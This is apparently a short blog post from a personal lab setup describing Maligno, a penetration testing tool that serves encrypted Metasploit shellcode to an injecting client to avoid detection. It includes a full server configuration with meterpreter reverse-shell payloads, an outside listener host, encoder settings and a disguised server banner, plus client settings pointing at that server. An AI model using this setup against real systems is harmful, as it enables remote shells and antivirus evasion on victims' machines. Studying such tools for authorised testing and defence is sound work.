I stumbled across Maligno on SecurityTube there’s a good video:
Maligno is an open source penetration testing tool that from Encripto (www.encripto.no) that serves Metasploit payloads.
The only negative I can see with it are that Python needs to be installed on the victim along with Pycrypto (which may be present on *nix targets but is not part of Python 2.7 for Windows).
Maligno is available for download here:
What is it? [From the Maligno README]
It generates shellcode with msfvenom and transmits it over HTTP or HTTPS.
The shellcode is encrypted with AES and encoded with Base64 prior to transmission.
Maligno comes with a client tool, which is a modified version of David Kennedy’s PyInjector. Such modified client implements HTTP, HTTPS and encryption capabilities.
The client is able to connect to Maligno in order to download an encrypted Metasploit payload. Once the shellcode is received, the client will decode it, decrypt it and inject it in the target machine.
As a result, you should get your Metasploit session while avoiding detection.
My Lab setup:
You must create an SSL certificate in order to set up Maligno with HTTPS.
certgen.sh will do the job for you.
Make the appropriate changes to server.conf:
msfpath = /opt/metasploit/app/
msfpayload = windows/meterpreter/reverse_https, windows/meterpreter/reverse_tcp, windows/meterpreter/reverse_http
msflhost = 126.96.36.199
msflport = 4444
msfencoder = x86/shikata_ga_nai
msfiterations = 10
msfcache = true
msfcachefile = msfcache
base64rounds = 1
blocksize = 32
paddingchar = !
secret = cedbd5af520bdab20c3b79d521d8b1c8
scope = 10.10.0.0/24
srvport = 443
ssl = true
sslcert = ./certs/server.pem
banner = Microsoft-IIS/7.5
reqparam = id
Upload maligno_client.py and make appropriate changes to maligno_client.py i.e.:
# IP address and port where Maligno server is waiting for connections
server_addr = “188.8.131.52”
server_port = “443”
